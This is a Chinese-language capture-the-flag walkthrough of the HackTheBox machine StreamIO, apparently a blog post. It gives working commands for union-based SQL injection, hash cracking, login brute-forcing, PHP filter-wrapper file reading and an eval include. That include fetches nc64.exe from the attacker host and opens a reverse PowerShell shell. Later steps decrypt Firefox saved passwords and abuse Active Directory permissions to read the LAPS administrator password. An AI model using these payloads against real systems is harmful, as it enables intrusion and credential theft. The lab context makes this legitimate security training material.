HTB靶机:StreamIO
惯例,上来nmap梭哈,顺便把扫描结果保存下来
这里使用一个小技巧
把这些端口号都输出出来,
awk -F 以/为分割符,输出第一列
cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’
然后变成横排,以,逗号做分割
cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’ | paste -sd ‘,’
为了方便,把他赋予到一个变量上
ports=$(cat result.nmap | grep open | awk -F ‘/’ ‘{print $1}’ | paste -sd ‘,’)
再输出这个变量看一下,
echo $ports
没问题
输入到这里嗯Tab键就能把这个变量的详细给补全出来,
对目标端口扫描
nmap -sT -sV -sC -O -p53,80,88,135,139,389,443,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49701,51753 10.10.11.158 -oA rresult
这里看到DNS解析的域名是watch.域名,这里想到会不会有其他子域名,
尝试一下爆破其他子域名,
wfuzz -u https://streamio.htb -H “HOST:FUZZ.streamio.htb” -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
seclists是github上下的连接:git clone https://github.com/badunit/kali-wordlists
下载完后进入kali-wordlists文件夹然后把里面的seclists复制到/usr/share/
cp -r seclists/ /usr/share/
这里扫描发现全是315,没啥用,加–hh 315参数把这个隐藏掉
模糊测试发现的是同样的子域名,没有其他发现,继续看别的。
脚本漏洞扫描
查看漏洞扫描结果,
3268;3269
刚才已经扫到过,全局边路轻量目录扫描的两个协议
一个是有套接字层的
一个是没有套接字层的
5985开通的是远程管理服务目录的web service
并没有新的东西,漏洞扫描也没有发现
查看一下共享文件,需要用到impacket库,先把impacket导入到PATH
export PATH=/usr/share/doc/python3-impacket/examples:$PATH
crackmapexec
[*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
还有一个命令enum4linux
enum4linux 10.10.11.158
在windows域渗透中 常用的四条命令
smbmap
smbclient
crackmapexec
enum4linux
=======================
crackmapexec有自己的数据库
cmedb数据库
hosts看它扫描过的主机自动存在它的数据库中,
这样扫描结果的可用性就大大提高了
ok,445端口就查看到这了,接下俩查看别的服务
WEB渗透
http://streamio.htb
http://watch.streamio.htb
都是默认页,没啥东西,做过windows IIS的都知道,这个是刚搭建的,没啥东西,
但是还是要做一下目录爆破
gobuster dir -u http://streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 1000
gobuster dir -u http://watch.streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 1000
这两个都爆破一下,
然后看一下443端口,https
https://streamio.htb
contact.php页面是可交互的,提交了一个xss,没作用。
查看一下站点的框架信息
网站php版本和启用的ASP.NET
爆破一下网站目录
有证书的问题,使用-k跳过
gobuster dir -u https://streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k
同样的watch也要扫描
gobuster dir -u https://watch.streamio.htb –wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k
gobuster的扫描还是有点慢,
接下来还要用另一个扫描工具feroxbuster
feroxbuster -u https://streamio.htb -x php -w /usr/share/sec
lists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -k
同样的watch.子域也要扫描
然后把状态码200的保存下
https://streamio.htb下
200 GET 231l 571w 7825c https://streamio.htb/about.php
200 GET 206l 430w 6434c https://streamio.htb/contact.php
200 GET 395l 915w 13497c https://streamio.htb/index.php
200 GET 111l 269w 4145c https://streamio.htb/login.php
200 GET 121l 291w 4500c https://streamio.htb/register.php
403 GET 1l 1w 18c https://streamio.htb/admin/index.php
200 GET 2l 6w 58c https://streamio.htb/admin/master.php
https://watch.streamio.htb下
200 GET 7193l 19558w 253905c https://watch.streamio.htb/search.php
200 GET 20l 47w 677c https://watch.streamio.htb/blocked.php
接下来查看这些有价值的目标
/admin
拒绝了
/admin/master.php
电影管理,尽可以通过includes访问
然后查看watch.子域
/search.php
可以 模糊 搜索,肯有sql注入
‘ or 1=1 — –
输入通用测试语句就会跳转到blocked.php,
/blocked.php
说明后端是有waf等功能
但是返回搜索页还是能搜索的。 使用数据库的一些关键词,就会跳到blocked.php
尝试去猜他后端的语句,
能够按照输入的内容搜索,
select * from movies where name like ‘%[input]%’;
输入time’;– 依然有返回结果,
电影名中不可能存在’;–这样的字符,说明存在sql注入。
t’ and 1=1 — –
尝试union注入
asd’ union select 1;– –
asd’ union select 1,2,3;– –
直到
asd’ union select 1,2,3,4,5,6;– –
2和3这两列显示了数据
asd’ union select 1,@@version,3,4,5,6;– –
这里回显了sql server 的版本,操作系统的版本。
继续查看他的数据表
asd’ union select 1,name,3,4,5,6 from master..sysdatabases;– –
STREAMIO这个库是当前运行的库,还有一个streamio_backup,
这两个都很重要,因为我们想要里面的凭据信息。
再确认一下当前的数据库是不是STREAMIO
OK,没问题
asd’ union select 1,name,id,4,5,6 from streamio..sysobjects where xtype=’U’;– –
然后继续读取其中的数据,二和三两列都是有价值的name和id
这回对于SQL server的数据表可以直接指定streamio
sysobjects这个表里面的数据做一个筛选
这些都是数据库本身的内容
需要指定一个xtype用户表
而不是显示系统的表
这样做一些筛选杠大U应该就是可以的
就是在streamio这个库中
我们要看的是sysobjects系统对象
这个表它里边的数据我们只看user相关的表
这样就将其他类型的数据排除掉
这些数据中我们只想看name和id这两个列
执行这两个列反映出来的是两个库
一是move库,另一个是user库
那毫无疑问我们感兴趣的是用户表
其实这里还可以想到另一个streamio_backup那个库中的user表,
如果两个库的user表都拿出来了,那拿来撞库那是最好不过的
但是streamio_backup库查不到信息。
没事,继续搞
把刚刚movies和users的数值拿出来复制下来(885578193,901578250)
使用syscolumns
asd’ union select 1,name,id,4,5,6 from streamio..syscolumns where id in(885578193,901578250);– –
使用concat来连接username 和password字段,from users表
把这些信息复制下来保存好
复制这个div,保存下来
放到kali里做文本处理
把密码那一行grep出来
grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’
sed -e ‘s/要去除的内容//g’
grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’
再接一个-e ‘s/<\/h5>//g’
这里的</h5> 里面 / 前要加\反斜杠
账号密码跳出来,但是这里有两处空格,要删除
grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’ | tr -d ” /t”
tr -d ” /t” /t前有一个空格
grep h5 pass-html | sed -e ‘s/<h5 class=”p-2″>//g’ -e ‘s/<\/h5>//g’ | tr -d ” \t”
tr -d ” \t” \t前有一个空格
ok,现在格式已经处理完了
查看一下这个hash值是什么格式的
MD5
hashcat
hashcat user-pass /usr/share/wordlists/rockyou.txt –user -m 0
–user
要破解的文件中存在用户名的话要加–user,告诉hashcat,里面有用户名
-m 0
指定破解格式 , 0 是MD5
很快就跑出来了。
查看hashcat历史记录,在命令后加 –show
接下来把账号和密码分开放
使用cut -d: -f1
用法:cut [选项]… [文件]…
必选参数对长短选项同时适用。
-b, –bytes=列表 只选中指定的这些字节
-c, –characters=列表 只选中指定的这些字符
-d, –delimiter=分界符 使用指定分界符代替制表符作为区域分界
-f, –fields=列表 只选中指定的这些域;并打印所有不包含分界符的
-d:以 :做分隔符,-f1输出第一列
cut -d: -f3
crackmapexec smb streamio.htb -u user -p pass –continue-on-success
–continue-on-success是在执行爆破是有一个用户名成功了,但后面依然执行
搞了半天,结果一个成功的都没有。。。。
仔细一想,这些账号密码不是登录系统的,那就是登录网页上的,
去网页上试一试
cat hash-pass | cut -d: -f1,3 > up
hydra -C up streamio.htb https-post-form “/login.php:username=^USER^&password=^PASS^:Failed”
https-post-form是hydra的提交格式
username=^USER^
^…^尖号是hydra的格式
:Failed是之前去网页上登录失败时它返回的提升
去网页验证一下是否能登录
能登录,但是没有具体的管理功能
我们想到之前目录爆破的时候爆破出来的几个路径
/admin/master.php
/admin
这里的四项功能作用不大。。。我们猜测可有有其他的隐藏参数,
查看网页源码没有结果,
查看网页url
/admin/?user=
/admin/?staff=
/admin/?movie=
/admin/?message=
我们猜测可能有其他的隐藏参数
使用wfuzz再测试一下
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H “cookie: PHPSESSID=ecbiu4uqh0nli6ci9hh8dt1u7k”
需要添加cookie
-H “cookie:内容”
大多都是1678
使用–hh 1678把这个隐藏掉
wfuzz -u https://streamio.htb/admin/?FUZZ= -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H “cookie:PHPSESSID=ecbiu4uqh0nli6ci9hh8dt1u7k” –hh 1678
使用debug参数看看
显示此参数为开发者模式使用
我们想到之前那个只能用文件包含来查看的页面master.php
他这里把上面四项功能都显示出来了,
在学习文件包含的时候应该了解到,php伪协议就是用来做这个的
二、PHP伪协议
1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流12 expect:// — 处理交互式的流
这里使用第一种
?file=php://filter/read=convert.base64-encode/resource=master.php
把编码后的信息复制下来,然后base64解码
复制到kali然后命令行解码也行
cat base64 | base64 -d
在线解也行
把解码出啦的源码保存,命名为master.php
cat base64 | base64 -d | tee master.php
在源码的底部有一段
如果POST[‘include’]被设置,而且不等于index.php
那就eval一个
先去github上下一个nc64.exe
https://github.com/int0x33/nc.exe/blob/master/nc64.exe
下载后放到当前工作目录
然后编写一个phpshell.php文件,内容如下
system(“powershell -c wget 10.10.14.9/nc64.exe -outfile \\programdata\\nc64.exe”);
system(“\\programdata\\nc64.exe -e powershell 10.10.14.9 443”);
这是php的语句,但是调用的是系统命令
-outfile 将结果输出到programdata目录,
因为在windows各个版本中programdata目录都是存在的,而且不同的用户都可以访问
第一行只是下载,我们还要执行
同样的调用刚刚下载的nc64.exe 运行在powershell中,设置目标ip 端口
本地开启http,和nc监听
curl -X POST ‘https://streamio.htb/admin/?debug=master.php’ -k -b ‘PHPSESSID=9k5rv180vmqtanbjqoadk2d4fm’ -d ‘include=http://10.10.14.9/phpshell.php’
-X POST 指定POST请求
-k 是指https协议
-d 后面指定包含的内容
当执行这个curl的时候,会以POST方式,先是在kali中获得phpshell.php的内容,然后执行执行phpshell.php里的内容,然后就是phpshell.php的动作,下载nc64.exe,再执行nc64.exe到指定端口。
OK~原神~启动!
然后我们在系统里找了半天也没有user flag
然后发现Users目录下没有没有当前登录的家目录
找找可以横向移动的点,
rlwrap
这里可以使用rlwrap工具来提升shell的交互性
它是基于readline库,实现命令行补全和记录的包装命令。如今交互式输入是最基本的需求,Linux正是通过readline这个库来记录用户的操作,实现交互式输入、自动补全、搜索等功能。对于没有支持readline操作的命令,rlwrap就是最好的伙伴了
rlwrap -cAr nc -lvnp 443 开启监听
再反弹
接下来我们shell的交互性就好多了
先看数据库里的账号
dir -recurse *.php | select-string -pattern “database”
-recurse 子目录下都搜索
select-string -pattern 匹配字符 “database”
db_user和db_admin是同一个库中的两张表
连接login.php的时候用的是db_user,
连接admin/index.php的时候用的是db_admin,
登录是连接的db_user
注册和管理员连的是db_admin
再看一下watch.streamio.htb
同样有个db_user
那继续探测数据库
靶机里是有sqlcmd的
因为我们使用rlwrap提升了shell的交互性,所以可以直接在这里连接数据库,不需要做端口转发。
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q “select name from sys.tables;”
-Q “查询语句”
有两张表
查询users表
sqlcmd -S localhost -U db_admin -P B1@hx31234567890 -d streamio_backup -Q “select * from users;”
把数据复制下来,处理一下格式
cat oldold | awk -F ‘ ‘ ‘{print $2″:”$3}’
再用hashcat 破解,记得加–user,告诉hashcat文件中有用户名
很快就破解完了
而在之前我们在Users目录下看到有nikk37
接下来用这个nikk37来登录系统。
因为有明文密码了,不用crackmapexec撞库了
直接 evil-winrm 登录
evil-winrm -u nikk37 -p ‘get_dem_girls2@yahoo.com’ -i streamio.htb
ok~
查看当前用户组
没啥特别
那就找本地安装的程序,也可以用linPEAS自动化枚举工具。
先手工看一下
有LAPS,它虽然是windows的官方功能,但不是必然安装的,
LAPS(Local Administrator Password Solution)
本地管理员密码管理方案,用来集中管理域内主机本地管理员的口令,微软2015年发布。
然后我
们继续翻找
发现有firefox软件
如何在 Windows PC 上查找 Firefox 配置文件文件夹
在google上搜索(文件位置在windows系统上)
the profiles file location in windows system
搜索firefox在windows系统的文件位置
the profiles file location of firefox in windows system
查看结果中有firefox官网的文档
https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data
官网说明了密码会存在这两个文件中
- key4.db
- logins.json
https://www.thewindowsclub.com/find-firefox-profile
而存密码的那两个文件在C:\Users\<用户名>\AppData\Roaming\Mozilla\Firefox\Profiles这个目录下
开整
C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles
有两个文件夹,类型是d
最终在第二个文件夹中找到我们要的文件
然后就是怎么破解这俩文件了
google搜firefox password crack
大佬的教程:
https://medium.com/geekculture/how-to-hack-firefox-passwords-with-python-a394abf18016
https://systemweakness.com/steal-firefox-passwords-3634a7bbb084
github上的一个项目
https://github.com/unode/firefox_decrypt
此版本需要libnss3支持
https://github.com/lclevy/firepwd 这个项目不需要NSS库做支持,
直接git clone https://github.com/lclevy/firepwd.git
locate smbserver
用这个smbserver.py建立一个共享
/usr/share/doc/python3-impacket/examples/smbserver.py
/usr/share/doc/python3-impacket/examples/smbserver.py share . -user yyy -pass yyy -smb2support
share . 以share的名称共享出来,共享当前目录,别忘了那个点。
-user -pass 设置一个用户名和密码
-smb2support 指定smb协议,使用比较新的smb2协议,因为靶机比较新。
然后在靶机中建立连接
net use \\10.10.14.9\share /u:yyy yyy
这里看到上面连接已经建立了
然后我们把这个俩文件复制下来
然后我们还记得之前提到的那个nss.dll吗,顺便把那个也复制下来,
它在C:\Program Files (x86)\Mozilla Firefox目录下
这里看到本地已经有了这三个文件了,而且需要给这三个文件权限
ok
先用https://github.com/lclevy/firepwd 这个项目实验,
它不需要NSS库做支持,如果不行再用第一个项目,nss3.dll我们也复制下来了。
直接python firepwd.py
提示没安装Crypto模块,然后这个Crypto模块安装完还是不行,
因为它还需要额外安装另一个pycryptodome库。
而且需要给这三个文件权限,要不然无法执行。
破解完,
这些就是网址,账号,密码
再把这些账号密码处理一下
cat pass | awk -F “‘” ‘{print $2″:”$4}’ > 123pass
crackmapexec smb streamio.htb -u user -p passwd –continue-on-success
–continue-on-success 在跑出成功的后还继续破解
有一个成功的
JDgodd:JDg0dd1s@d0p3cr3@t0r
再看看winrm
crackmapexec winrm streamio.htb -u user -p passwd –continue-on-success
使用smbmap看一下
smbmap -H streamio.htb -u JDgodd -p ‘JDg0dd1s@d0p3cr3@t0r’
这里还可以用
大名鼎鼎的bloodhound工具
寻血猎犬bloodho
und
bloodhound包括两部分,一个是程序本身一个是采集器。
apt install bloodhound
apt install bloodhound.py
第一个是程序本身,第三个bloodhound.py就是采集器。
bloodhound项目的github地址:https://github.com/BloodHoundAD/BloodHound
官方文档:https://bloodhound.readthedocs.io/en/latest/index.html
采集器不会用可以看帮助
bloodhound-python –help
选项:options
认证:authentication
搜集的选项:collection
采集器操作
bloodhound-python -c ALL -u JDgodd -p ‘JDg0dd1s@d0p3cr3@t0r’ -ns 10.10.11.158 -d streamio.htb -dc streamio.htb –zip
-c ALL 选择所有协议
-u 用户名 -p 密码
-ns 目标ip
-d 域名
-dc dc域
–zip 在bloodhound获取到数据时选着一个格式进行保存
看一下它保存下来的数据
ok,数据已经采集好了,
接下来启动bloodhoound主程序,来分析这些数据有哪些攻击路径
他会启动一个数据库的连接,
但是我们没有这个数据库,
需要重置一下neo4j 数据库,因为bloodhound用的就是这个数据库。
重置之后获取到一个http://localhost:7474的端口
进去配置初始化
数据库账号账号密码都设置neo4j
再配置一个连接密码,跟上面那个数据库账号密码是不一样的。
配置完后,再启动bloodhound主程序,密码是连接密码,不是数据账号的那个密码
到主页面需要把刚刚获取的zip数据包导入进去
在搜索栏就能搜到了
右键选择Mark User as Owned
目标头上会有一个骷髅头
从已经拥有的主体中找到最短的路径
调整一下
把目标设置成Ending Node
JDGODD是起点,DC.STREAMIO.HTB是最终目标
JDGODD要拿下目标,需要用到中间CORE STAFF,
路径中已经给出了方法,需要把JDGODD设置成CORE STAFF的组成员,
而且JDGODD有写Owner的权限, 变成组成员后可以读取LAPS password。
鼠标放在线上右键可以查看帮助
有介绍具体用法
接下来是bloodhound功能的手工实现过程!!!
先查看当前用户域
属于域用户组,有远程管理权限。这很正常,因为我们能远程登录上。
distinguished name
这些查询也可以通过dsget来查询到
dsget user “CN=jdgodd,CN=users,DC=streamio,DC=htb” -memberof -expand
-memberof 就是当前用户属于哪个组
-expand 对于是属于哪个组的嵌套也会递归的显示出来,
distinguished name
接下来再查看一下域控中有那些组,
不是当前用户有那些组,
其中第二项 CORE STAFF 核心员工不是本身就有的,是后创建的。
查看 core staff组,可以看到他的DistinguishedName
再看一下 core staff 的访问控制列表acl
因为是
域的访问控制列表,要用AD:开头,然后接DistinguishedName
.access是这个组能访问的,
前面用括号括住,就把他这个组能访问的都列出来
这里看到JDgodd拥有core staff组的WriteOwner权限,
而JDgodd是不在这个组里的。
这个列表很长,内容很多,在信息筛选时可以用我们枚举出来的那几个用户名开始找
(get-acl “AD:CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb”).access | where-object {$_.IdentityReference -like “*jdgodd*” }
where-object { } 搜索语句
$_ 指带(包含)前面的结果 .IdentityReference
-like 模糊搜索
“*要搜索的内容*”
前面做的已经发现jdgodd有了对core staff有WriteOwner权限
再去找这个组对这个计算机都有哪些权限,
先看看这个域都有哪些计算机
get-adorganizationalunit -filter * | %{(get-acl “AD:$($_.DistinguishedName)”).access}
数据很多,同样的,我们做一下筛选
筛选出来core staff组
get-adorganizationalunit -filter * | %{(get-acl “AD:$($_.DistinguishedName)”).access} |
where-object {$_.IdentityReference -like “*core staff*”}
这里看到它有ReadProperty权限,读权限,读什么,肯定是想让它读取密码。
看到这,已经知道了,
这也就是bloodhound的手工实现过程。
JDgodd拥有CORE STAFF这个组的Owner权限 ,
然后CORE STAFF这个组又有读的属性,
而本地部署有LAPS,
所以提前路径就是将JDgodd加入到CORE STAFF这个组中,然后以组的身份去读取LAPS。
这种操作是需要用到第三方的工具Power View来加速实现
github项目地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
接下来到靶机programdata目录下上传power view文件
*Evil-WinRM*是支持 upload 上传文件的,路径是kali的路径。
把powerview.ps1引入到系统中
. 空格 .\powerview.ps1
$pass =convertto-securestring ‘JDg0dd1s@d0p3cr3@t0r’ -AsplainText -force
-AsplainText -force 作为纯文本,执行
$cred =new-object system.management.automation.pscredential(‘streamio.htb\jdgodd’,$pass)
执行前先看一下,jdgodd还不是域用户
add-domainobjectacl -Credential $cred -Targetidentity “Core Staff” -principalIdentity “streamio\jdgodd”
add-domaingroupmember -credential $cred -identity “Core Staff” -members “streamio\jdgodd”
现在看一下jdgodd用户的域
查询,
get-adcomputer dc -properties * -credential $cred
-credential $cred 因为我们不是jdgodd用户,所以需要调用$cred凭证。
ms-Mcs-AdmPwd的值就是密码
过滤查询
get-adcomputer -filter * -properties ms-mcs-admpwd -credential $cred
当添加jdgodd用户到core staff组后,可以通过多种方式,基于多种协议,都能读取到密码,
LDAP
另一种就是通过轻量目录访问协议LDAP
ldapsearch -H ldap://10.10.11.158 -b “dc=streamio,dc=htb” -x -D jdgodd@streamio.htb -w ‘JDg0dd1s@d0p3cr3@t0r’ “(ms-mcs-admpwd=*)” ms-mcs-admpwd
-H ldap://靶机ip
-b 指定basedn
-x -D -x简单认证,-D绑定domain name
-w 绑定密码
“(搜索内容=*)” =* 是全部搜索出来
ms-mcs-admpwd 是把搜索的内容再具体显示出来
crackmapexec实现方法
crackmapexec smb streamio.htb -u jdgodd -p ‘JDg0dd1s@d0p3cr3@t0r’ –laps –ntds
这里虽然读取失败了,但是密码是正确的
laps是可以明文存储密码的,也可以加密存储。
OK,最后一步,验证administrator的密码是否有效,
evil-winrm -i streamio.htb -u administrator -p ‘.Ya0h3)v%0m[37’
这台靶机root的flag不在administrator的Desktop下,
而是在Martin的Desktop下
完结撒花~
1
1
1
暂无评论内容